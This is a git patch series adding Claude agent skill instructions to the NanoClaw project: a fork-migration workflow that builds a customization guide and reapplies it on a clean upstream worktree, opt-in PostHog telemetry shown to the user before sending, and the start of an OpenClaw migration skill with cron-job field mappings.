mode 100644 .claude/skills/migrate-nanoclaw/SKILL.md diff --git a/.claude/skills/migrate-nanoclaw/SKILL.md b/.claude/skills/migrate-nanoclaw/SKILL.md new file mode 100644 index 0000000..d1075a2 --- /dev/null +++ b/.claude/skills/migrate-nanoclaw/SKILL.md @@ -0,0 +1,440 @@ +--- +name: migrate-nanoclaw +description: Extracts user customizations from a fork, generates a replayable migration guide, and upgrades to upstream by reapplying customizations on a clean base. Replaces merge-based upgrades with intent-based migration. +--- + +# Context + +NanoClaw users fork the repo and customize it — changing config values, editing source files, modifying personas, adding skills. When upstream ships updates or refactors, `git merge` produces painful conflicts because the same core files were changed on both sides. + +This skill extracts the user's customizations into a migration guide — capturing both the intent (what they want) and the implementation details (how they did it, with code snippets, API calls, and specific configurations). On upgrade, it checks out clean upstream in a worktree, then reapplies customizations using the guide. No merge conflicts because there's nothing to merge. + +The migration guide is markdown, not structured data. It needs to capture the full range of what a user might customize, with enough implementation detail that a fresh Claude session can reapply it without having seen the original code. Standard changes (config values, simple logic) can be described briefly. Non-standard changes (specific APIs, custom integrations, unusual patterns) need code snippets and precise instructions. + +Two phases: **Extract** (build the migration guide) and **Upgrade** (use it). If a guide already exists, offer to skip to Upgrade. + +# Principles + +- Never proceed with a dirty working tree. +- Always create a rollback point (backup branch + tag) before touching anything. +- The migration guide is the source of truth, not diffs. +- Use a worktree to validate before affecting the live install. +- Data directories (`groups/`, `store/`, `data/`, `.env`) are never touched — only code. +- Be helpful: offer to do things (stash, commit, stop services) rather than telling the user to do them. +- **Use sub-agents for exploration.** Spawn haiku sub-agents to explore the codebase, trace skill merges, diff files, and identify customizations. This keeps the main context focused on the user conversation and decision-making. +- **Balance exploration and asking.** Don't bombard the user with questions when you can figure things out from the code. Don't burn endless tokens exploring when the user could clarify in one sentence. Use sub-agents to explore first, then ask the user targeted questions about things that are ambiguous or where intent isn't clear from the code alone. +- **Scale effort to complexity.** Not every migration needs the full process. Assess the scope early and take the lightest path that fits. + +--- + +# Phase 1: Extract + +## 1.0 Preflight + +Run `git status --porcelain`. If non-empty, offer to stash or commit for them (AskUserQuestion: "Stash changes" / "Commit changes" / "I'll handle it"). If they want to commit, stage and commit with a descriptive message. If they want to stash, run `git stash push -m "pre-migration stash"`. + +Check remotes with `git remote -v`. If `upstream` is missing, ask for the URL (default: `https://github.com/qwibitai/nanoclaw.git`), add it, then `git fetch upstream --prune`. + +Detect upstream branch: check `git branch -r | grep upstream/` for `main` or `master`. Store as UPSTREAM_BRANCH. + +## 1.1 Assess scope and determine path + +Quickly assess the scale of divergence, check for an existing guide, and determine the right approach — all before asking the user anything. + +```bash +BASE=$(git merge-base HEAD upstream/$UPSTREAM_BRANCH) +# Divergence stats +git rev-list --count $BASE..upstream/$UPSTREAM_BRANCH # upstream commits +git rev-list --count $BASE..HEAD # user commits +git diff --name-only $BASE..HEAD | wc -l # user changed files +git diff --stat $BASE..HEAD | tail -1 # insertions/deletions +git diff --name-only $BASE..upstream/$UPSTREAM_BRANCH | wc -l # upstream changed files +``` + +Check for existing guide: `.nanoclaw-migrations/guide.md` or `.nanoclaw-migrations/index.md`. + +**Determine the tier based on the total diff from base:** + +### Tier 1: Lightweight — suggest `/update-nanoclaw` instead + +Conditions (any of): +- Very few upstream changes (< ~5 commits) AND few user changes (< ~3 changed files) +- User recently updated/migrated (merge-base is close to upstream HEAD) + +Tell the user the scope is small and suggest `/update-nanoclaw` might be simpler. Let them choose. + +### Tier 2: Standard + +Conditions: +- Moderate total diff (3-15 changed files, no large number of new files) +- Manageable scope that fits in a single guide file + +### Tier 3: Complex + +Conditions (any of): +- Large total diff (15+ changed files) or many new files added (indicates many skills applied) +- Lots of insertions/deletions suggesting deep source changes +- Many skills applied (the presence of many new files — channel files, skill directories — is the signal, not per-file analysis) + +Use the full process: multiple sub-agents in parallel, directory-based guide, migration plan. + +**Now combine the scope assessment with initial user input in one interaction.** Present the scope summary (how many commits, files, which tier) and ask (AskUserQuestion): + +For Tier 1: +- **Use /update-nanoclaw** — simpler merge-based approach +- **Proceed with full migration** — continue + +For Tier 2/3 (with or without existing guide): +- If guide exists and is current: **Skip to upgrade** / **Update guide** (add new changes) / **Re-extract from scratch** +- If guide exists but is stale: **Update guide** (recommended) / **Re-extract from scratch** / **Skip to upgrade anyway** +- If no guide: **Yes, let me describe my customizations first** / **Just figure it out** / **A bit of both** + +This single interaction replaces what were previously separate steps for scope assessment, user input, and existing guide check. + +## 1.2 Update existing guide (if applicable) + +If the user chose to update an existing guide rather than re-extract: + +1. Read the existing guide +2. Find commits made since the guide was generated (compare guide's recorded base hash against current HEAD) +3. Spawn a haiku sub-agent to analyze only the new changes: + > Diff HEAD against ``. For each changed file, summarize what changed and why. +4. Present the new changes to the user for confirmation +5. Append new customizations to the existing guide, update the header hashes +6. Skip to Phase 2 + +## 1.3 Explore the codebase + +Spawn a haiku sub-agent (Agent tool, model: haiku) for initial exploration: + +> Explore this NanoClaw fork to identify all changes from the upstream base. Run these commands and report back: +> +> 1. `git diff --name-only $BASE..HEAD` — all changed files +> 2. `git log --oneline $BASE..HEAD` — all commits (look for skill branch merges like `Merge branch 'skill/*'`) +> 3. `git branch -r --list 'upstream/skill/*'` — available upstream skill branches +> 4. `ls .claude/skills/` — installed skills +> 5. For each skill merge found, record the merge commit hash +> +> Report: (a) list of applied skills with their merge commit hashes, (b) list of all changed files, (c) any custom skill directories that don't match upstream branches. + +From the sub-agent results, identify: +- **Which files came purely from skill merges** — these will be reapplied by re-merging skill branches in Phase 2 +- **Everything else** — all remaining changes are customizations to analyze (whether they're on skill-touched files or not) + +Don't try to distinguish "user modified a skill file" from "user made their own change" at this stage. The sub-agents in 1.4 will look at all non-skill changes together and surface what matters. + +## 1.4 Analyze customizations + +For each applied skill, ask the user in a single batched question (AskUserQuestion, multiSelect): + +> "I found these applied skills. Select any you customized further after applying:" + +Options: one per skill, plus "None — all used as-is". + +Then spawn sub-agents to analyze all non-skill changes. For Tier 2, one or two agents. For Tier 3, run in parallel by area: + +- **Config + build files** — one sub-agent +- **Source files** (`src/*.ts`) — one sub-agent +- **Skills the user flagged as modified** (or all of them for Tier 3) — one sub-agent per skill, comparing the user's current files against the skill merge commit version: + ``` + git diff ..HEAD -- + ``` +- **Container files** — one sub-agent (if changes exist) + +Each sub-agent task: + +> Read these diffs and the current file contents. For each change: +> 1. `git diff $BASE..HEAD -- ` (or `git diff ..HEAD -- ` for skill-modified files) +> 2. Read the full current file for context +> 3. Summarize: what changed, what the likely intent is +> 4. Assess detail level: could a fresh Claude session reproduce this from intent alone, or does it need specific code snippets, API details, import paths? +> 5. For non-standard changes, extract the key code, imports, API calls, and configurations verbatim. + +## 1.5 Confirm with user + +After sub-agents report back, compile the findings and present to the user. + +For customizations where the intent is clear (config values, simple modifications): present as a batch for confirmation. Use AskUserQuestion with multiSelect to let the user flag any entries that need correction. + +For customizations where the intent is ambiguous: ask specific questions. Don't ask "what did you do?" — instead ask "I see you added X in this file. Was this for Y or something else?" + +The user can select "Other" on any question to provide their own description. + +## 1.6 Migration plan (Tier 3 only) + +For complex migrations, before writing the guide, create a migration plan: + +- **Order of operations**: which customizations depend on others, which skills must be applied first +- **Staging**: whether the migration should happen in stages (e.g. apply skills first, validate, then apply source customizations) +- **Risk areas**: customizations that touch files heavily changed by upstream — these may need manual review +- **Interactions**: customizations that interact with each other (e.g. a source change that depends on a skill, or two customizations that touch the same file) + +Present the plan to the user for review before proceeding to the guide. + +## 1.7 Write the migration guide + +**Storage:** `.nanoclaw-migrations/guide.md` for Tier 2. `.nanoclaw-migrations/` directory with `index.md` and section files for Tier 3. + +**Verification:** After writing the guide, read it back and verify: +- Every referenced file path exists in the current codebase +- Code snippets match what's actually in the files +- No customizations from the analysis were accidentally omitted + +The guide is structured markdown that a fresh Claude session can follow to reproduce this user's exact setup on a clean upstream checkout. + +Structure: + +```markdown +# NanoClaw Migration Guide + +Generated: +Base: +HEAD at generation: +Upstream: + +## Migration Plan + +(Tier 3 only — big-picture overview of order, staging, risks) + +## Applied Skills + +List each skill with its branch name. These are reapplied by merging the upstream skill branch. + +- `add-telegram` — branch `skill/telegram` +- `add-voice-transcription` — branch `skill/voice-transcription` + +Custom skills (user-created, not from upstream): `.claude/skills/my-custom-skill/` — copy as-is from main tree. + +## Modifications to Applied Skills + +### : + +**Intent:** ... + +**Files:** ... + +**How to apply:** (after the skill branch has been merged) + +... + +## Customizations + +### + +**Intent:** What the user wants and why. + +**Files:** Which files to modify. + +**How to apply:** + + + + + +### +``` + +**Judging detail level:** For each customization, assess whether a fresh Claude session could reproduce it from intent alone: +- **Standard changes** (config values, simple logic, well-known patterns): describe the intent and the target. Example: "Change `POLL_INTERVAL` in `src/config.ts` from 2000 to 1000." +- **Non-standard changes** (specific API usage, custom integrations, unusual patterns, library-specific configurations): include the actual code snippets, import paths, API endpoints, configuration objects — everything needed to reproduce it without guessing. + +Example entries at different detail levels: + +**Standard (brief):** +```markdown +### Custom trigger word + +**Intent:** Use `@Bob` instead of the default `@Andy`. + +**Files:** `src/config.ts` + +**How to apply:** Change the default value of `ASSISTANT_NAME` from `'Andy'` to `'Bob'`. +``` + +**Non-standard (detailed):** +```markdown +### Spanish translation for outbound messages + +**Intent:** All outbound messages are translated to Spanish before sending. Uses the DeepL API via the `deepl-node` package. + +**Files:** `src/router.ts`, `package.json` + +**How to apply:** + +1. Add dependency: `npm install deepl-node` + +2. In `src/router.ts`, add import at top: + ```typescript + import * as deepl from 'deepl-node'; + const translator = new deepl.Translator(process.env.DEEPL_API_KEY!); + ``` + +3. In the `formatOutbound` function, before the return statement, add: + ```typescript + const result = await translator.translateText(text, null, 'es'); + text = result.text; + ``` + Note: the function needs to be made async if it isn't already. +``` + +After writing, offer to commit for the user: +```bash +git add .nanoclaw-migrations/ +git commit -m "chore: save migration guide" +``` + +Ask (AskUserQuestion): "Migration guide saved. Want to upgrade now or later?" +- **Upgrade now** — continue to Phase 2 +- **Later** — stop here + +--- + +# Phase 2: Upgrade + +## 2.0 Preflight + +Same checks as 1.0 — clean tree (offer to stash/commit if dirty), upstream configured, fetch latest. + +Read the migration guide. If missing, tell the user you need to extract customizations first and ask if they want to do that now. + +**New-changes guard:** Compare the guide's "HEAD at generation" hash against current HEAD. If there are commits since the guide was generated, warn the user: + +> "You've made changes since the migration guide was generated. These changes won't be included in the upgrade." + +AskUserQuestion: +- **Update the guide first** — go to step 1.2 to incorporate new changes +- **Proceed anyway** — user accepts that recent changes will be lost +- **Abort** — stop + +## 2.1 Safety net + +```bash +HASH=$(git rev-parse --short HEAD) +TIMESTAMP=$(date +%Y%m%d-%H%M%S) +git branch backup/pre-migrate-$HASH-$TIMESTAMP +git tag pre-migrate-$HASH-$TIMESTAMP +``` + +Save the tag name for rollback instructions at the end. + +## 2.2 Preview upstream changes + +```bash +BASE=$(git merge-base HEAD upstream/$UPSTREAM_BRANCH) +git log --oneline $BASE..upstream/$UPSTREAM_BRANCH +git diff $BASE..upstream/$UPSTREAM_BRANCH -- CHANGELOG.md +``` + +If there are `[BREAKING]` entries, show them and explain how they interact with the user's customizations from the migration guide. + +Ask (AskUserQuestion) to proceed or abort. + +## 2.3 Create upgrade worktree + +```bash +git worktree add .upgrade-worktree upstream/$UPSTREAM_BRANCH --detach +``` + +## 2.4 Reapply skills in worktree + +For each skill listed in the migration guide's "Applied Skills" section: + +1. Check if branch exists: `git branch -r --list "upstream/$branch"` +2. If yes, merge it in the worktree: + ```bash + cd .upgrade-worktree && git merge upstream/skill/ --no-edit && cd .. + ``` +3. If missing, warn the user (skill may have been removed or renamed upstream). +4. If any skill merge conflicts, stop and tell the user — the skill needs updating for the new upstream. + +Copy any custom skills mentioned in the guide from the main tree into the worktree. + +## 2.5 Reapply customizations in worktree + +Work in `.upgrade-worktree/`. Follow each customization section in the migration guide, including "Modifications to Applied Skills." + +For Tier 3 migrations with a migration plan, follow the plan's ordering and staging. If the plan calls for staged validation (e.g. validate after skills, then validate after source changes), do so. + +For each customization: +1. Read the "How to apply" instructions from the guide +2. Read the target file(s) in the worktree to understand the current upstream version +3. Apply the changes as described — use the code snippets and specific instructions from the guide +4. If the target file has changed significantly from what the guide expects (function removed, file restructured, API changed), flag it and ask the user what to do +5. Verify the file has no syntax errors or broken imports after each change + +For behavior customizations (CLAUDE.md files): copy from the main tree. These are user content, not code. + +## 2.6 Validate in worktree + +```bash +cd .upgrade-worktree && npm install && npm run build && npm test; cd .. +``` + +If build fails, show the error. Fix only issues caused by the migration. If unclear, ask the user. + +## 2.7 Live test (optional) + +Ask (AskUserQuestion): +- **Test live** — stop service, run from worktree against real data, send a test message +- **Skip** — trust the build, proceed to swap + +If testing live: + +1. Stop the service (do this directly): + ```bash + launchctl unload ~/Library/LaunchAgents/com.nanoclaw.plist 2>/dev/null || true + ``` + +2. Symlink data into the worktree: + ```bash + ln -s $(pwd)/store .upgrade-worktree/store + ln -s $(pwd)/data .upgrade-worktree/data + ln -s $(pwd)/groups .upgrade-worktree/groups + ln -s $(pwd)/.env .upgrade-worktree/.env + ``` + +3. Start from worktree: `cd .upgrade-worktree && npm run dev` + +4. Ask the user to send a test message from their phone. Wait for them to confirm it works. + +5. After confirmation, stop the dev server. + +6. Clean up symlinks: + ```bash + rm .upgrade-worktree/store .upgrade-worktree/data .upgrade-worktree/groups .upgrade-worktree/.env + ``` + +## 2.8 Swap into main tree + +```bash +UPGRADE_COMMIT=$(cd .upgrade-worktree && git rev-parse HEAD) +git checkout -B upgrade-staging $UPGRADE_COMMIT +git worktree remove .upgrade-worktree --force +``` + +Copy the migration guide back and update its header hashes. Offer to commit: +```bash +git add .nanoclaw-migrations/ +git commit -m "chore: upgrade to upstream $(git rev-parse --short upstream/$UPSTREAM_BRANCH)" +``` + +## 2.9 Post-upgrade + +Run `npm install && npm run build` in the main tree to confirm. + +Restart the service: +```bash +launchctl load ~/Library/LaunchAgents/com.nanoclaw.plist +``` + +Show summary: +- Previous version (backup tag) +- New HEAD +- Customizations reapplied (list from guide) +- Skills reapplied +- Rollback: `git reset --hard ` +- Any customizations that needed manual adjustment + +Offer to pop the stash if one was created in preflight: `git stash pop` From 7ef1c4f5e08a9198cd9f83497ffd922faa2bdcb8 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Sat, 4 Apr 2026 00:20:13 +0300 Subject: [PATCH 026/485] fix: apply lessons from real-world migration test run MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Based on analysis of a live migration (v1.2.42 -> v1.2.47): 1. Absolute worktree paths: Bash tool resets cwd between calls, so relative cd .upgrade-worktree fails. Store PROJECT_ROOT and WORKTREE as absolute paths, use them throughout. 2. Smarter tier assessment: discount files from skill merges when counting — a fork with 3 skills and no other changes is Tier 2, not Tier 3 just because 24 files changed. 3. Inter-skill conflict analysis: new "Skill Interactions" section in the migration guide captures conflicts between applied skills (duplicate declarations, conflicting env var handling). 4. Cleaner swap recipe: use git reset --hard to the upgrade commit instead of git checkout -B intermediate branch. Backup tag preserves rollback. Copy guide to /tmp before worktree removal. Co-Authored-By: Claude Opus 4.6 (1M context) --- .claude/skills/migrate-nanoclaw/SKILL.md | 69 ++++++++++++++++++------ 1 file changed, 54 insertions(+), 15 deletions(-) diff --git a/.claude/skills/migrate-nanoclaw/SKILL.md b/.claude/skills/migrate-nanoclaw/SKILL.md index d1075a2..a158107 100644 --- a/.claude/skills/migrate-nanoclaw/SKILL.md +++ b/.claude/skills/migrate-nanoclaw/SKILL.md @@ -22,6 +22,7 @@ Two phases: **Extract** (build the migration guide) and **Upgrade** (use it). If - Data directories (`groups/`, `store/`, `data/`, `.env`) are never touched — only code. - Be helpful: offer to do things (stash, commit, stop services) rather than telling the user to do them. - **Use sub-agents for exploration.** Spawn haiku sub-agents to explore the codebase, trace skill merges, diff files, and identify customizations. This keeps the main context focused on the user conversation and decision-making. +- **Always use absolute paths in worktrees.** The Bash tool resets the working directory between calls. Never use relative `cd .upgrade-worktree` — always use the full absolute path: `cd /absolute/path/.upgrade-worktree && `. Store the worktree absolute path in a variable at creation time and reference it throughout. - **Balance exploration and asking.** Don't bombard the user with questions when you can figure things out from the code. Don't burn endless tokens exploring when the user could clarify in one sentence. Use sub-agents to explore first, then ask the user targeted questions about things that are ambiguous or where intent isn't clear from the code alone. - **Scale effort to complexity.** Not every migration needs the full process. Assess the scope early and take the lightest path that fits. @@ -72,9 +73,10 @@ Conditions: ### Tier 3: Complex Conditions (any of): -- Large total diff (15+ changed files) or many new files added (indicates many skills applied) -- Lots of insertions/deletions suggesting deep source changes -- Many skills applied (the presence of many new files — channel files, skill directories — is the signal, not per-file analysis) +- Many new files added (indicates many skills applied) — discount files that come purely from skill merges when assessing complexity; a fork with 3 skills and no other changes is simpler than it looks by file count alone +- Deep source changes to core files (`src/index.ts`, `src/container-runner.ts`, etc.) beyond what skills introduced +- Lots of insertions/deletions in user-authored code (not skill-merged code) +- Many skills applied (3+) AND the user confirms or sub-agents find customizations on top of them Use the full process: multiple sub-agents in parallel, directory-based guide, migration plan. @@ -150,6 +152,13 @@ Each sub-agent task: > 4. Assess detail level: could a fresh Claude session reproduce this from intent alone, or does it need specific code snippets, API details, import paths? > 5. For non-standard changes, extract the key code, imports, API calls, and configurations verbatim. +**Inter-skill conflicts:** If multiple skills are applied, spawn an additional sub-agent to check for interactions between them. Look for: +- Duplicate declarations (same variable/constant defined by two skill branches) +- Conflicting approaches (one skill throws on missing env var, another provides a fallback) +- Shared files modified by multiple skills + +Document any findings in the "Skill Interactions" section of the migration guide so they can be resolved after skill branches are re-merged during upgrade. + ## 1.5 Confirm with user After sub-agents report back, compile the findings and present to the user. @@ -205,6 +214,15 @@ List each skill with its branch name. These are reapplied by merging the upstrea Custom skills (user-created, not from upstream): `.claude/skills/my-custom-skill/` — copy as-is from main tree. +## Skill Interactions + +(Document known conflicts or interactions between applied skills. +When two or more skills modify the same file or depend on shared +config, describe the conflict and how to resolve it after merging. +Example: skill A and skill B both add a PROXY_BIND_HOST declaration — +after merging both, deduplicate. Or: skill A throws if ENV_VAR is +missing, but skill B provides a fallback — use the fallback version.) + ## Modifications to Applied Skills ### : @@ -334,9 +352,13 @@ Ask (AskUserQuestion) to proceed or abort. ## 2.3 Create upgrade worktree ```bash +PROJECT_ROOT=$(pwd) git worktree add .upgrade-worktree upstream/$UPSTREAM_BRANCH --detach +WORKTREE="$PROJECT_ROOT/.upgrade-worktree" ``` +Store `$PROJECT_ROOT` and `$WORKTREE` as absolute paths. Use `$WORKTREE` in all subsequent commands — never `cd .upgrade-worktree` with a relative path. + ## 2.4 Reapply skills in worktree For each skill listed in the migration guide's "Applied Skills" section: @@ -344,7 +366,7 @@ For each skill listed in the migration guide's "Applied Skills" section: 1. Check if branch exists: `git branch -r --list "upstream/$branch"` 2. If yes, merge it in the worktree: ```bash - cd .upgrade-worktree && git merge upstream/skill/ --no-edit && cd .. + cd "$WORKTREE" && git merge upstream/skill/ --no-edit ``` 3. If missing, warn the user (skill may have been removed or renamed upstream). 4. If any skill merge conflicts, stop and tell the user — the skill needs updating for the new upstream. @@ -369,7 +391,7 @@ For behavior customizations (CLAUDE.md files): copy from the main tree. These ar ## 2.6 Validate in worktree ```bash -cd .upgrade-worktree && npm install && npm run build && npm test; cd .. +cd "$WORKTREE" && npm install && npm run build && npm test ``` If build fails, show the error. Fix only issues caused by the migration. If unclear, ask the user. @@ -389,13 +411,13 @@ If testing live: 2. Symlink data into the worktree: ```bash - ln -s $(pwd)/store .upgrade-worktree/store - ln -s $(pwd)/data .upgrade-worktree/data - ln -s $(pwd)/groups .upgrade-worktree/groups - ln -s $(pwd)/.env .upgrade-worktree/.env + ln -s "$PROJECT_ROOT/store" "$WORKTREE/store" + ln -s "$PROJECT_ROOT/data" "$WORKTREE/data" + ln -s "$PROJECT_ROOT/groups" "$WORKTREE/groups" + ln -s "$PROJECT_ROOT/.env" "$WORKTREE/.env" ``` -3. Start from worktree: `cd .upgrade-worktree && npm run dev` +3. Start from worktree: `cd "$WORKTREE" && npm run dev` 4. Ask the user to send a test message from their phone. Wait for them to confirm it works. @@ -403,23 +425,40 @@ If testing live: 6. Clean up symlinks: ```bash - rm .upgrade-worktree/store .upgrade-worktree/data .upgrade-worktree/groups .upgrade-worktree/.env + rm "$WORKTREE/store" "$WORKTREE/data" "$WORKTREE/groups" "$WORKTREE/.env" ``` ## 2.8 Swap into main tree +The swap must be done carefully — the worktree has the upgraded code, but main needs to point to it cleanly. Use absolute paths throughout. + ```bash -UPGRADE_COMMIT=$(cd .upgrade-worktree && git rev-parse HEAD) -git checkout -B upgrade-staging $UPGRADE_COMMIT -git worktree remove .upgrade-worktree --force +# 1. Capture the worktree HEAD before removing it +WORKTREE_PATH=$(cd "$PROJECT_ROOT/.upgrade-worktree" && pwd) +UPGRADE_COMMIT=$(git -C "$WORKTREE_PATH" rev-parse HEAD) + +# 2. Copy the migration guide out of the worktree before removing it +cp -r "$WORKTREE_PATH/.nanoclaw-migrations" /tmp/nanoclaw-migrations-backup 2>/dev/null || true + +# 3. Remove the worktree +git worktree remove "$WORKTREE_PATH" --force + +# 4. Point the current branch at the upgraded commit +git reset --hard $UPGRADE_COMMIT + +# 5. Restore the migration guide and update its hashes +cp -r /tmp/nanoclaw-migrations-backup/* .nanoclaw-migrations/ 2>/dev/null || true +rm -rf /tmp/nanoclaw-migrations-backup ``` -Copy the migration guide back and update its header hashes. Offer to commit: +Update the guide's header hashes to reflect the new state. Offer to commit: ```bash git add .nanoclaw-migrations/ git commit -m "chore: upgrade to upstream $(git rev-parse --short upstream/$UPSTREAM_BRANCH)" ``` +Do NOT use `git checkout -B` to create an intermediate branch — this caused issues in practice. The `git reset --hard` to the upgrade commit is the cleanest path since the backup tag already preserves the pre-upgrade state. + ## 2.9 Post-upgrade Run `npm install && npm run build` in the main tree to confirm. From 426ae0285ef652efdd1a8267b0fea764849f4526 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Sat, 4 Apr 2026 10:13:22 +0300 Subject: [PATCH 027/485] feat: add diagnostics telemetry to migrate-nanoclaw skill Matches the pattern used by /setup and /update-nanoclaw. Captures migration-specific properties (tier, phase, customization count, skill interactions). Opt-out permanently disables across all skills. Co-Authored-By: Claude Opus 4.6 (1M context) --- .claude/skills/migrate-nanoclaw/SKILL.md | 5 ++ .../skills/migrate-nanoclaw/diagnostics.md | 52 +++++++++++++++++++ 2 files changed, 57 insertions(+) create mode 100644 .claude/skills/migrate-nanoclaw/diagnostics.md diff --git a/.claude/skills/migrate-nanoclaw/SKILL.md b/.claude/skills/migrate-nanoclaw/SKILL.md index a158107..68c3ae7 100644 --- a/.claude/skills/migrate-nanoclaw/SKILL.md +++ b/.claude/skills/migrate-nanoclaw/SKILL.md @@ -477,3 +477,8 @@ Show summary: - Any customizations that needed manual adjustment Offer to pop the stash if one was created in preflight: `git stash pop` + +## Diagnostics + +1. Use the Read tool to read `.claude/skills/migrate-nanoclaw/diagnostics.md`. +2. Follow every step in that file before finishing. diff --git a/.claude/skills/migrate-nanoclaw/diagnostics.md b/.claude/skills/migrate-nanoclaw/diagnostics.md new file mode 100644 index 0000000..a308b7a --- /dev/null +++ b/.claude/skills/migrate-nanoclaw/diagnostics.md @@ -0,0 +1,52 @@ +# Diagnostics + +Gather system info: + +```bash +node -p "require('./package.json').version" +uname -s +uname -m +node -p "process.versions.node.split('.')[0]" +``` + +Write `/tmp/nanoclaw-diagnostics.json`. No paths, usernames, hostnames, or IP addresses. + +```json +{ + "api_key": "phc_fx1Hhx9ucz8GuaJC8LVZWO8u03yXZZJJ6ObS4yplnaP", + "event": "migrate_complete", + "distinct_id": "", + "properties": { + "success": true, + "nanoclaw_version": "1.2.43", + "os_platform": "darwin", + "arch": "arm64", + "node_major_version": 22, + "migration_phase": "extract|upgrade|both", + "tier": 2, + "customization_count": 3, + "skills_applied_count": 2, + "skill_interaction_count": 0, + "live_test": false, + "breaking_changes_found": false, + "error_count": 0 + } +} +``` + +Show the entire JSON to the user and ask via AskUserQuestion: **Yes** / **No** / **Never ask again** + +**Yes**: +```bash +curl -s -X POST https://us.i.posthog.com/capture/ -H 'Content-Type: application/json' -d @/tmp/nanoclaw-diagnostics.json +rm /tmp/nanoclaw-diagnostics.json +``` + +**No**: `rm /tmp/nanoclaw-diagnostics.json` + +**Never ask again**: +1. Replace contents of `.claude/skills/setup/diagnostics.md` with `# Diagnostics — opted out` +2. Replace contents of `.claude/skills/update-nanoclaw/diagnostics.md` with `# Diagnostics — opted out` +3. Replace contents of `.claude/skills/migrate-nanoclaw/diagnostics.md` with `# Diagnostics — opted out` +4. Remove the diagnostics sections from each corresponding SKILL.md +5. `rm /tmp/nanoclaw-diagnostics.json` From b2a5a58f8ac133f10cd3a080f2991161c3dba3b8 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Sat, 4 Apr 2026 19:27:14 +0300 Subject: [PATCH 028/485] feat: add /migrate-from-openclaw skill for guided OpenClaw migration MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Conversational migration skill that reads an existing OpenClaw installation and interactively guides users through importing identity, personality, channel credentials, groups, scheduled tasks, MCP servers, skills, and plugins into NanoClaw. 8-phase flow: discovery → groups/architecture → settings → identity/memory → channel credentials → scheduled tasks → MCP/webhooks/config → summary. Includes: - discover-openclaw.ts: finds OpenClaw state dir, parses JSON5 config, detects channels (both channels.* and legacy top-level format), groups (handles agent:main: prefixed session keys), workspace files (reads custom agent.workspace path), skills, config-registered plugins with API keys, cron jobs, MCP servers. Dumps raw config keys for robustness. - extract-channel-credentials.ts: resolves SecretRef formats (plain, env template, object), writes credentials directly to .env via --write-env flag (never exposes raw values to stdout) - MIGRATE_CRONS.md: extracted reference for cron job migration, loaded only when cron jobs exist - migration-state.md: persistent state file for recovery after compaction - Setup hook: detects ~/.openclaw during /setup and offers migration Tested against real ~/.clawdbot and remote ~/.openclaw installations. Co-Authored-By: Claude Opus 4.6 (1M context) --- .../migrate-from-openclaw/MIGRATE_CRONS.md | 100 +++ .claude/skills/migrate-from-openclaw/SKILL.md | 447 +++++++++++ .../scripts/discover-openclaw.ts | 734 ++++++++++++++++++ .../scripts/extract-channel-credentials.ts | 476 ++++++++++++ .claude/skills/setup/SKILL.md | 16 + 5 files changed, 1773 insertions(+) create mode 100644 .claude/skills/migrate-from-openclaw/MIGRATE_CRONS.md create mode 100644 .claude/skills/migrate-from-openclaw/SKILL.md create mode 100644 .claude/skills/migrate-from-openclaw/scripts/discover-openclaw.ts create mode 100644 .claude/skills/migrate-from-openclaw/scripts/extract-channel-credentials.ts diff --git a/.claude/skills/migrate-from-openclaw/MIGRATE_CRONS.md b/.claude/skills/migrate-from-openclaw/MIGRATE_CRONS.md new file mode 100644 index 0000000..cb6ed33 --- /dev/null +++ b/.claude/skills/migrate-from-openclaw/MIGRATE_CRONS.md @@ -0,0 +1,100 @@ +# Migrating OpenClaw Cron Jobs to NanoClaw Scheduled Tasks + +This file is referenced by SKILL.md Phase 5 when cron jobs are detected. + +**Before inserting tasks:** Read `src/db.ts` and search for `scheduled_tasks` to verify the current table schema. The schema below is a reference — if columns have been added, removed, or renamed, use the current schema from the source code. + +Also verify the `createTask` function signature in `src/db.ts` — it may be simpler to call it via a script than raw SQL. + +## OpenClaw Cron Job Format + +Source: `/cron/jobs.json` (from `src/cron/types.ts`). If the file format doesn't match what's described below, read the actual file and adapt — OpenClaw may have changed the schema. + +The jobs file is `{ version: 1, jobs: CronJob[] }`. Each job has: +- `id`, `name`, `description`, `enabled`, `deleteAfterRun` +- `schedule`: `{ kind: "cron", expr: string, tz?: string }` | `{ kind: "every", everyMs: number }` | `{ kind: "at", at: string }` +- `payload`: `{ kind: "agentTurn", message: string, model?, thinking?, timeoutSeconds? }` | `{ kind: "systemEvent", text: string }` +- `sessionTarget`: `"main"` | `"isolated"` | `"current"` | `"session:"` +- `wakeMode`: `"next-heartbeat"` | `"now"` +- `delivery`: `{ mode: "none" | "announce" | "webhook", channel?, to?, threadId?, bestEffort? }` +- `failureAlert`: `{ after?: number, channel?, to?, cooldownMs? }` | `false` +- `state`: runtime state (nextRunAtMs, lastRunStatus, consecutiveErrors, etc.) + +## NanoClaw `scheduled_tasks` Table + +Source: `src/db.ts` + +| Column | Type | Notes | +|--------|------|-------| +| `id` | TEXT PK | Unique task ID | +| `group_folder` | TEXT | Target group directory (e.g. `"main"`) | +| `chat_jid` | TEXT | Target chat JID | +| `prompt` | TEXT | Task instructions | +| `script` | TEXT | Optional bash pre-check script | +| `schedule_type` | TEXT | `"cron"`, `"interval"`, or `"once"` | +| `schedule_value` | TEXT | Cron expr, ms interval, or ISO timestamp | +| `context_mode` | TEXT | `"group"` or `"isolated"` (default) | +| `next_run` | TEXT | ISO timestamp — must be computed at insert time | +| `last_run` | TEXT | null initially | +| `last_result` | TEXT | null initially | +| `status` | TEXT | `"active"`, `"paused"`, or `"completed"` | +| `created_at` | TEXT | ISO timestamp | + +## Field Mapping + +- `schedule.kind:"cron"` + `schedule.expr` → `schedule_type:"cron"`, `schedule_value:` +- `schedule.kind:"every"` + `schedule.everyMs` → `schedule_type:"interval"`, `schedule_value:` +- `schedule.kind:"at"` + `schedule.at` → `schedule_type:"once"`, `schedule_value:` +- `payload.message` or `payload.text` → `prompt` +- `sessionTarget:"isolated"` → `context_mode:"isolated"`, `sessionTarget:"main"` or `"current"` → `context_mode:"group"` + +## What Doesn't Map + +- `delivery.mode:"webhook"` — NanoClaw has no webhook delivery. Discuss with the user: this could be implemented as a task `script` that runs `curl` to hit the webhook endpoint. +- `failureAlert` — NanoClaw has no failure alert system. Note this to the user. +- `wakeMode` — NanoClaw tasks always wake the agent 